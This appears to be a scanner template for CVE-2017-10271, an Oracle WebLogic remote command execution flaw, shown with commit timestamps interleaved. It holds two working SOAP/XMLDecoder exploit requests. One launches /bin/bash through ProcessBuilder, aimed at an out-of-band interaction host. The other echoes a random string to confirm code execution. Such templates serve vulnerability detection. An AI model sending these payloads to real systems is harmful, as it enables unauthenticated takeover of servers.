2021-02-03 00:48:46 +00:00
id : CVE-2017-10271
info :
2022-05-26 15:15:35 +00:00
name : Oracle WebLogic Server - Remote Command Execution
author : dr_set,ImNightmaree
2021-02-03 00:48:46 +00:00
severity : high
2022-05-26 15:15:35 +00:00
description : |
2022-06-09 20:35:21 +00:00
The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent - WLS Security) is susceptible to remote command execution. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. This easily exploitable vulnerability allows unauthenticated attackers with network access via T3 to compromise Oracle WebLogic Server.
2021-08-19 13:15:35 +00:00
reference :
- https://github.com/vulhub/vulhub/tree/fda47b97c7d2809660a4471539cd0e6dbf8fac8c/weblogic/CVE-2017-10271
- https://github.com/SuperHacker-liuan/cve-2017-10271-poc
2022-05-26 15:27:05 +00:00
- http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
2022-06-09 20:35:21 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2017-10271
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
2022-05-26 15:27:05 +00:00
cvss-score : 7.5
2021-09-10 11:26:40 +00:00
cve-id : CVE-2017-10271
2022-08-27 04:41:18 +00:00
tags : weblogic,oast,kev,vulhub,cve,cve2017,rce,oracle
2021-02-05 19:44:41 +00:00
2021-02-03 00:48:46 +00:00
requests :
2021-02-04 19:43:23 +00:00
- raw :
- |
2021-08-19 14:44:46 +00:00
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host : {{Hostname}}
Accept : */*
Accept-Language : en
Content-Type : text/xml
2021-02-04 19:44:43 +00:00
2021-08-19 14:44:46 +00:00
<?xml version="1.0" encoding="utf-8"?>
2021-09-12 13:02:24 +00:00
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
2021-08-19 14:44:46 +00:00
<soapenv:Header>
2021-09-12 13:02:24 +00:00
<work:WorkContext
xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
2021-08-19 14:44:46 +00:00
</void>
2021-09-12 13:02:24 +00:00
<void index="1">
<string>-c</string>
2021-08-19 14:44:46 +00:00
</void>
2021-09-12 13:02:24 +00:00
<void index="2">
2022-06-06 10:40:15 +00:00
<string>interact.sh</string>
2021-09-12 13:02:24 +00:00
</void>
</array>
<void method="start"/></void>
2021-08-19 14:44:46 +00:00
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
2021-02-04 19:43:23 +00:00
2022-05-26 15:15:35 +00:00
- |
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host : {{Hostname}}
Accept : */*
Accept-Language : en
Content-Type : text/xml
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.Thread" method="currentThread">
<void method="getCurrentWork">
<void method="getResponse">
<void method="getServletOutputStream">
<void method="flush"/>
</void>
<void method="getWriter"><void method="write"><string>{{randstr}}</string></void></void>
</void>
</void>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
stop-at-first-match : true
2022-06-01 22:28:36 +00:00
matchers-condition : or
2021-02-03 00:48:46 +00:00
matchers :
2022-06-01 22:28:36 +00:00
- type : dsl
dsl :
- regex("<faultstring>.*</faultstring>", body)
- status_code == 500
condition : and
2021-11-04 23:18:10 +00:00
2022-06-01 22:28:36 +00:00
- type : dsl
dsl :
- body == "{{randstr}}"
- status_code == 200
2022-06-09 20:35:21 +00:00
condition : and
# Enhanced by mp on 2022/06/09